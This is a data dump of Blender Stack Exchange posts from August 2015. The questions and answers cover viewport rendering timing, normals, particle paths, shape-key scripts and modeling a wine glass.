  <row Id="35554" PostTypeId="1" CreationDate="2015-08-12T08:26:48.547" Score="3" ViewCount="390" Body="&lt;p&gt;When running this script, the 3D viewport in rendered shading doesn't update properly, compared to script-saved screenshots, or manually generating the screen (typing lines of python in the python window).  I've abstracted down as far as I can. There are mismatches of face color patterns, of rotation (bottom, 4th &quot;frame&quot; of 9) and incomplete rendering (top).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had some problems framing this question correctly. If it can be improved please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TOP:   manual OS screenshot, cropped to match&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MIDDLE: manual rendering with typed lines of python, followed by Blender screenshot of viewport. This is what I expect to see in all three windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BOTTOM: screen-shots saved by the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main question - what can I do to my script, to make the 3D viewport render completely (top image). Secondary question, are there other timing problems that can cause the glitches (like incorrect rotation and different pattern in bottom image).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9G6xm.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9G6xm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To run script, add a light, add two nodes materials to the monkey, select monkey as active, set 3D viewport to &quot;rendered&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;import time&#xA;import math&#xA;context = bpy.context&#xA;for area in context.screen.areas:&#xA;    if area.type == &quot;VIEW_3D&quot;:&#xA;        ctx = { &quot;window&quot;: context.window, &quot;area&quot;: area, &quot;region&quot;:None}&#xA;        break&#xA;US = lambda: bpy.ops.wm.redraw_timer(type='DRAW_WIN_SWAP', iterations=1)&#xA;ao = bpy.context.active_object&#xA;path = &quot;/Users/tmp/&quot;&#xA;for i in range(9):&#xA;    ao.rotation_euler = ((0.0, 0.0, math.pi*i/4.0))&#xA;    US()&#xA;    bpy.ops.object.select_all(action='DESELECT')&#xA;    ao.select = True&#xA;    bpy.context.scene.objects.active = ao&#xA;    bpy.ops.object.mode_set(mode='EDIT')&#xA;    bm = bmesh.from_edit_mesh(ao.data)&#xA;    for k, f in enumerate(bm.faces): &#xA;        if k%(i+2):&#xA;            f.material_index = 1&#xA;        else:&#xA;            f.material_index = 0&#xA;    ao.data.update()&#xA;    bpy.ops.object.mode_set(mode='OBJECT')&#xA;    time.sleep(2.0)&#xA;    file = &quot;ao2_&quot; + str(1000+i) + &quot;.png&quot;&#xA;    bpy.ops.screen.screenshot(ctx, filepath=path+file, full=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="5334" LastEditDate="2015-08-12T09:39:56.960" LastActivityDate="2015-08-12T09:39:56.960" Title="Script for 3D viewport in rendered mode seems to have timing problem" Tags="&lt;python&gt;&lt;rendering&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35555" PostTypeId="1" AcceptedAnswerId="35586" CreationDate="2015-08-12T08:44:06.517" Score="2" ViewCount="3254" Body="&lt;p&gt;I designed this character with his arms along his sides.  I gave him bones and put a lot of detail work into getting everything right.  I now want to add clothes and am running into issues because his arms are along his side and not spread out so the shirt wants to go through itself. I was wondering if there is a easy way to make his arms rotate up and the bones follow with.  I want everything to stay in exactly the same position relative to each other because some of the bones are in fingers and a little shift will be bad. &lt;a href=&quot;https://i.stack.imgur.com/m2Xag.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m2Xag.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16254" LastEditorUserId="34114" LastEditDate="2016-12-31T21:59:46.110" LastActivityDate="2016-12-31T21:59:46.110" Title="how do I permanently change the mesh and armature position?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;armature&gt;&lt;bones&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35556" PostTypeId="1" CreationDate="2015-08-12T08:50:10.243" Score="2" ViewCount="37" Body="&lt;p&gt;I have a script that processes a mesh in various ways (shrinkwrap, bisect and other operations) and renders two images with freestyle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These processes (and many others in blender) spew out various messages that clutter the standard output buffer and make debugging and logging quite difficult and annoying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendering an image with freestyle, for instance, generates hundreds of printed lines that report the memory, which part is being rendered, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to silence all prints except my own debug prints?&#xA;I know I can probably write my stuff to a different stream like stderr but I'd really like to have more control over what's displayed and what's not.&lt;/p&gt;&#xA;" OwnerUserId="15861" LastActivityDate="2015-08-12T08:50:10.243" Title="Is there a way to mute an operator's stdout prints?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;operator&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-12T08:57:42.267" ContentLicense="CC BY-SA 3.0" />
  <row Id="35557" PostTypeId="2" ParentId="35549" CreationDate="2015-08-12T09:03:14.777" Score="1" Body="&lt;p&gt;Blender doesn't have support for reading powerpoint presentations. However you can save the presentation as a sequence of images and display the image sequence within blender.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In powerpoint choose &quot;Save as&quot; and select an image format.&lt;/li&gt;&#xA;&lt;li&gt;In blender you can easily setup a plane to display the images with the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Add_Mesh/Planes_from_Images&quot; rel=&quot;nofollow noreferrer&quot;&gt;import image as plane addon&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Adjust the texture to display an image sequence.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ksTWa.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ksTWa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also find the same settings in blender internals image settings.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-08-12T09:03:14.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35558" PostTypeId="1" AcceptedAnswerId="116842" CreationDate="2015-08-12T09:19:42.470" Score="2" ViewCount="925" Body="&lt;p&gt;This particular face  has different shading than the rest of the object and i don't know why.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/zUC5Y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zUC5Y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16334" LastActivityDate="2018-08-24T22:45:22.333" Title="Face has different shading that rest of object" Tags="&lt;modeling&gt;&lt;shaders&gt;&lt;faces&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35559" PostTypeId="2" ParentId="35558" CreationDate="2015-08-12T09:25:57.583" Score="2" Body="&lt;p&gt;You have to press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;N&lt;/kbd&gt; while all the mesh is selected in edit mode or go to the Toolshelf and under the Shading tab, under the Normal Section, click 'Recalculate'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[NB: &quot;Shading/UV&quot; was in a panel on the main toolshelf through version 2.69]&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="3401" LastEditDate="2015-08-12T18:05:35.737" LastActivityDate="2015-08-12T18:05:35.737" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35560" PostTypeId="2" ParentId="35558" CreationDate="2015-08-12T09:37:34.217" Score="3" Body="&lt;p&gt;Go into edit mode, select the face(s) that are shaded funny.  Click on the shading/UVs tab on the tools menu, if you don't see the toolshelf, press &lt;kbd&gt;T&lt;/kbd&gt;.  After clicking on the shading/UVs tab in the toolshelf [NB: &quot;Shading/UV&quot; was in a panel on the main toolshelf through version 2.69; the buttons were moved to a tab starting with version 2.7] click &quot;flip direction&quot; and it will flip direction of the normals of the face(s). Alternatively you could select the whole mesh and click recalculate, however that doesn't always work.&lt;/p&gt;&#xA;" OwnerUserId="16254" LastEditorUserId="3401" LastEditDate="2015-08-12T18:03:16.500" LastActivityDate="2015-08-12T18:03:16.500" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35561" PostTypeId="1" CreationDate="2015-08-12T09:40:25.120" Score="5" ViewCount="1015" Body="&lt;p&gt;I started using Blender a few days ago but I've got stuck with the camera.&#xA;I'm trying to make a simple maze game with a moving cube as character, using some tutorials and this is the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Dx510.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dx510.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The selected camera you see is one I added by hand: I deleted the default one and added this with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &gt; add camera &gt; etc...&#xA;The problem is it doesn't render anything when I press &lt;kbd&gt;P&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lyeNt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lyeNt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried making the camera active by clicking &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;0&lt;/kbd&gt; and It seems to be active indeed, but I still get nothing at all!&lt;/p&gt;&#xA;" OwnerUserId="16351" LastEditorUserId="241" LastEditDate="2015-08-12T13:41:30.373" LastActivityDate="2015-12-15T17:34:12.290" Title="Why can't I see my object when I start the game engine?" Tags="&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35562" PostTypeId="1" CreationDate="2015-08-12T09:50:34.897" Score="4" ViewCount="530" Body="&lt;p&gt;I have a man I am making clothes for.  when I copy his upper body to build a shirt the weight painting for the armature gets copied along with the object but I don't want it to and I can't seem to erase all the weight painting from the copied object.  I was wondering if I could either copy object without weights somehow, or remove all weights from a object somehow.  Either one would work, thanks! &lt;/p&gt;&#xA;" OwnerUserId="16254" LastActivityDate="2015-08-13T05:06:58.517" Title="How do I copy an object without copying the weights?" Tags="&lt;mesh&gt;&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35563" PostTypeId="1" AcceptedAnswerId="35570" CreationDate="2015-08-12T09:52:53.993" Score="3" ViewCount="1523" Body="&lt;p&gt;I have few arrows to follow a particular path such a way that the arrows will always orient along (steer along) the path. Using 'curve guide', I was able to make the arrows flow along the path, but the arrows do not change direction according to the path.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/EOdVE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EOdVE.jpg&quot; alt=&quot;Some arrows are in wrong direction&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see arrows are always facing the same direction. What I want is the arrows should change the direction according to the path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried my level best. But no result :( Please help me. you can find my Blender file also.&#xA;&lt;a href=&quot;https://drive.google.com/file/d/0B2piSDHkvL_6Z1UwbUJkRGlQUzA/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and Regards Sabin&lt;/p&gt;&#xA;" OwnerUserId="15361" LastActivityDate="2015-08-12T12:47:39.370" Title="Particle system - steers along path" Tags="&lt;particles&gt;&lt;force-fields&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35564" PostTypeId="2" ParentId="35547" CreationDate="2015-08-12T09:56:10.897" Score="2" Body="&lt;p&gt;Here is the improved script without duplicate shapekeys:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import sys&#xA;&#xA;def update_progress(job_title, progress):&#xA;    block = int(round(20*progress))&#xA;    msg = &quot;\r{0}: [{1}] {2}%&quot;.format(job_title,&#xA;                                     &quot;#&quot;*block + &quot;-&quot;*(20-block),&#xA;                                     round(progress*100, 2))&#xA;    if progress &amp;gt;= 1: msg += &quot; DONE\r\n&quot;&#xA;    sys.stdout.write(msg)&#xA;    sys.stdout.flush()&#xA;&#xA;obj = bpy.context.active_object&#xA;start = bpy.context.scene.frame_start&#xA;end = bpy.context.scene.frame_end&#xA;&#xA;# generate unique meshes from animation&#xA;meshes_at_frames = []&#xA;for f in range(start, end+1):&#xA;    update_progress(&quot;Generating unique meshes from animation&quot;, (f-start)/(end-start+1))&#xA;    bpy.context.scene.frame_set(f)&#xA;    curr_mesh = obj.to_mesh(scene=bpy.context.scene,&#xA;                            apply_modifiers=True,&#xA;                            settings='PREVIEW')&#xA;    if meshes_at_frames:&#xA;        prev_mesh = meshes_at_frames[-1][0]&#xA;        new_mesh = False&#xA;        for curr_vert, prev_vert in zip(curr_mesh.vertices, prev_mesh.vertices):&#xA;            if curr_vert.co != prev_vert.co:&#xA;                meshes_at_frames.append((curr_mesh,f))&#xA;                new_mesh = True&#xA;                break&#xA;        # cleanup&#xA;        if not new_mesh:&#xA;            bpy.data.meshes.remove(curr_mesh)&#xA;    else:&#xA;        meshes_at_frames.append((curr_mesh,f))&#xA;update_progress(&quot;Generating unique meshes from animation&quot;, 1)&#xA;&#xA;# add unique keyframed shape keys to reconstruct animation&#xA;obj.shape_key_add(name=&quot;Basis&quot;, from_mix=False)&#xA;prev_skey = None&#xA;for mesh, f in meshes_at_frames:&#xA;    update_progress(&quot;Adding shapekeys&quot;, f/(end+1))&#xA;    curr_skey = obj.shape_key_add(name=str(f), from_mix=False)&#xA;    for vert_id in range(len(obj.data.vertices)):&#xA;        curr_skey.data[vert_id].co = mesh.vertices[vert_id].co&#xA;&#xA;    # cleanup&#xA;    bpy.data.meshes.remove(mesh)&#xA;&#xA;    # keyframe start of current&#xA;    curr_skey.keyframe_insert(&quot;value&quot;, frame=f-1)&#xA;    curr_skey.value = 1.0&#xA;    curr_skey.keyframe_insert(&quot;value&quot;, frame=f)&#xA;&#xA;    # keyframe end of previous&#xA;    if prev_skey:&#xA;        prev_skey.keyframe_insert(&quot;value&quot;, frame=f-1)&#xA;        prev_skey.value = 0.0&#xA;        prev_skey.keyframe_insert(&quot;value&quot;, frame=f)&#xA;    prev_skey = curr_skey&#xA;update_progress(&quot;Adding shapekeys&quot;, 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Same as with previous version: deform modifiers after running script need to be turned off or deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It performs slower than previous one due to comparing mesh vertices if they differ. Worst case is when the mesh is the same across many frames, best case is when mesh changes every frame on first vertex (or every vertex).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 1M poly meshes and hundreds of frames this comparing can take couple of minutes, so I also added a progress reporting to the system console.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-08-12T09:56:10.897" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35565" PostTypeId="2" ParentId="35547" CreationDate="2015-08-12T09:59:59.980" Score="2" Body="&lt;p&gt;The line &lt;code&gt;key.data[vert_id].co = meshes[i].vertices[vert_id].co&lt;/code&gt; assigns the simulated mesh location to the shapekey. You will want to test the locations of &lt;code&gt;meshes[i].vertices&lt;/code&gt; with the previous locations to decide if you want to add a shapekey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first untested idea to try would be -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.active_object&#xA;start = bpy.context.scene.frame_start&#xA;end = bpy.context.scene.frame_end&#xA;&#xA;def insert_keyframe(sk, f):&#xA;    sk.keyframe_insert(&quot;value&quot;, frame=f-1)&#xA;    sk.keyframe_insert(&quot;value&quot;, frame=f+1)&#xA;    sk.value = 1.0&#xA;    sk.keyframe_insert(&quot;value&quot;, frame=f)&#xA;&#xA;def verts_moved(mesh1,mesh2):&#xA;    changed = False&#xA;    for v in range(len(mesh1.vertices)):&#xA;        if mesh1.vertices[v].co != mesh2.vertices[v].co:&#xA;            changed = True&#xA;            break&#xA;    return changed&#xA;&#xA;meshes = []&#xA;for f in range(start, end+1):&#xA;    bpy.context.scene.frame_set(f)&#xA;    meshes.append(obj.to_mesh(scene=bpy.context.scene, apply_modifiers=True, settings='PREVIEW'))&#xA;&#xA;obj.shape_key_add(name=&quot;Basis&quot;, from_mix=False)&#xA;for i in range(1, end-start+1):&#xA;    if verts_moved(meshes[i-1],meshes[i]):&#xA;        key = obj.shape_key_add(name=str(i+start), from_mix=False)&#xA;        insert_keyframe(key, i+start)&#xA;        for vert_id in range(len(obj.data.vertices)):&#xA;            key.data[vert_id].co = meshes[i].vertices[vert_id].co&#xA;&#xA;for mesh in meshes:&#xA;    bpy.data.meshes.remove(mesh)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-08-12T09:59:59.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35568" PostTypeId="1" CreationDate="2015-08-12T12:22:51.210" Score="1" ViewCount="605" Body="&lt;p&gt;In BGE I want to use an object's property like a variable (for example to simulate speed increment for a car). How could I do it using a python script? And in this case could I use only &quot;sensors&quot; and &quot;controllers&quot; (using a python script as a &quot;controller&quot;) without using &quot;actuators&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for my English. Thanks a lot...&lt;/p&gt;&#xA;" OwnerUserId="16356" LastEditorUserId="241" LastEditDate="2015-08-12T13:36:46.657" LastActivityDate="2015-09-12T05:49:25.340" Title="Property used like a variable in BGE" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35569" PostTypeId="1" AcceptedAnswerId="35573" CreationDate="2015-08-12T12:31:08.803" Score="2" ViewCount="351" Body="&lt;p&gt;I am currently learning about the physics in blender. I have a sample blend file, the physics works well but it starts automatically in the first frame what i wanted is to play the animation in a specific frame like 10, 20, or so. How do I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/410/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=410&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15695" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-08-12T13:50:43.617" Title="How to play physics in a specific frame" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35570" PostTypeId="2" ParentId="35563" CreationDate="2015-08-12T12:47:39.370" Score="7" Body="&lt;p&gt;First make the arrow point in X direction by editing the mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/19lZs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then enable &lt;em&gt;Rotation&lt;/em&gt; tab for particle system and check &lt;em&gt;Dynamic&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SSYBL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your particles will now rotate along the Curve guide accordingly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p8egs.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-08-12T12:47:39.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35571" PostTypeId="1" CreationDate="2015-08-12T13:19:13.033" Score="2" ViewCount="345" Body="&lt;p&gt;I have Blender 2.73 and want to update to 2.75 but when I do it does not unzip correctly or completely, and it does not show up in my control panel where the installed programs show up. Also I want to install the Blend4web add-on but the install from file does not work. I really don't know about scripting and all that so I would need a detailed walkthrough if I was going to install it that way. Can anyone help me with these issues? &lt;/p&gt;&#xA;" OwnerUserId="16360" LastEditorUserId="2952" LastEditDate="2015-11-19T01:57:08.917" LastActivityDate="2015-11-19T01:57:08.917" Title="Update and add-on problem" Tags="&lt;add-on&gt;&lt;installation&gt;&lt;blend4web&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35572" PostTypeId="1" AcceptedAnswerId="35574" CreationDate="2015-08-12T13:31:00.537" Score="1" ViewCount="644" Body="&lt;p&gt;Still trying to model a wine glass. After applying the spin tool, removing the doubles I tried to close the holes in the stem of my wine glass. Result in the image below. After applying the subdivision surface modifier and solidify modifier the result in the other image. Somehow there is an issue in my mesh but what ? The blender file is &lt;a href=&quot;https://www.dropbox.com/s/xwr1nvkz2wq5b7u/appetizer-series.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FnIwo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FnIwo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GK4QC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GK4QC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now posted two images of the wine glass after recalculating normals. Is this ok now ? Imho it still looks a bit weird ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7c6OC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7c6OC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/EEBwc.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EEBwc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13877" LastEditorUserId="13877" LastEditDate="2015-08-12T14:23:57.687" LastActivityDate="2015-08-12T19:23:12.800" Title="what's wrong with my wine glass?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="35573" PostTypeId="2" ParentId="35569" CreationDate="2015-08-12T13:50:43.617" Score="1" Body="&lt;p&gt;Click on Rigid body cache in Scene panel, there you can set the start and end of simulation.&lt;/p&gt;&#xA;" OwnerUserId="6160" LastActivityDate="2015-08-12T13:50:43.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35574" PostTypeId="2" ParentId="35572" CreationDate="2015-08-12T13:53:12.127" Score="3" Body="&lt;p&gt;The dark regions are caused by inverted normals. This is a thing many people struggle with when starting to make 3D art. Blender has a function for quickly fixing most of such cases - all you need to do is (from within Edit Mode) choose Mesh &gt; Normals &gt; Recalculate Outside (or &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ugly &quot;pinching&quot; effect is a result of all the subdivided geometry pulling in toward one point, creating a spoke-like look. This can be fixed by making an all-quad mesh instead. Try selecting that center vertex, deleting it, and instead select the remaining edges and doing a Grid Fill. Tweak the Grid Fill settings until they are to your liking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But wait... you can't do that just yet, because there is one more problem with your mesh: you're trying to create boundaries by filling in faces to section off areas of it, but this will not work. Making paper-thin hymen-like membranous faces is a topological no-no. This results in what is known as a non-manifold mesh. To explain what does or does not encompass the definition of &quot;non-manifold&quot; is beyond the scope of this answer, but to sum it up, understanding that concept will enable you to create geometry that will result in the shading you want to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your wine glass: fixed (Screen Shot - The lighting is crap, but I think it illustrates the point well enough)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/wm6SL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wm6SL.png&quot; alt=&quot;Your wine glass with the topology fixed&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your wine glass: fixed (.blend)&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/412/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=412&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is a side profile illustrating the boundaries of the areas you want to have thickness:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CNyCc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CNyCc.png&quot; alt=&quot;Wine glass thickness profile&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For comparison, here is the geometry you had created (after the Solidify Modifier has been applied):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/B7ZO1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/B7ZO1.png&quot; alt=&quot;Highlighting two problematic areas in the wine glass mesh.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've outlined the two problem areas with the Grease Pencil tool. To sum it up, you don't want all of the wine glass to be &quot;solidified&quot;. Think about the structure of a wine glass - the foot and stem of the glass are not hollow inside, rather they are solid glass. Yet by adding a Solidify Modifier to the entire wine glass that is what you have made - a wine glass with a hollow bottom. This is where you are having difficulty, because you haven't created geometry that accurately reflects the structure of a wine glass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second problematic area (which is related to the first), is that to compensate for the hollow area in the stem you tried to just add some faces between the stem and the cup (what I referred to as the &quot;membrane&quot;). This is where you created non-manifold geometry and further confused the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Understanding these concepts will help you in every 3D sculpting project you undertake from now on, so I can't stress enough how important this is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a mediocre Maya tutorial explaining non-manifold geometry: &lt;a href=&quot;https://www.youtube.com/watch?v=vrqxp89ilM4&amp;amp;spfreload=10&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=vrqxp89ilM4&amp;amp;spfreload=10&lt;/a&gt; (sorry, it's the best video explanation I could find - of course this concept is the same whether using Maya, Max, Blender, etc.). Hopefully this will help you out beginning your understanding of non-manifold vs manifold geometry. In Blender you can highlight non-manifold geometry by pressing &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt;. You can also select non-man geo by going to the menu within Edit Mode and choosing Select &gt; Non-Manifold. &lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-08-12T19:23:12.800" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="35575" PostTypeId="1" CreationDate="2015-08-12T13:53:32.357" Score="2" ViewCount="2038" Body="&lt;p&gt;I am currently learning to texture a model and I encountered a problem after unwrapping: the UV grid (checkerboard pattern) is only showing up on certain parts of my model and not in the others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/nNwADWd.png&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know how to fix it, please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="16331" LastEditorUserId="16331" LastEditDate="2015-08-12T16:43:03.313" LastActivityDate="2015-08-12T16:43:03.313" Title="UV Grid not showing up" Tags="&lt;modeling&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-08-13T01:11:34.717" ContentLicense="CC BY-SA 3.0" />
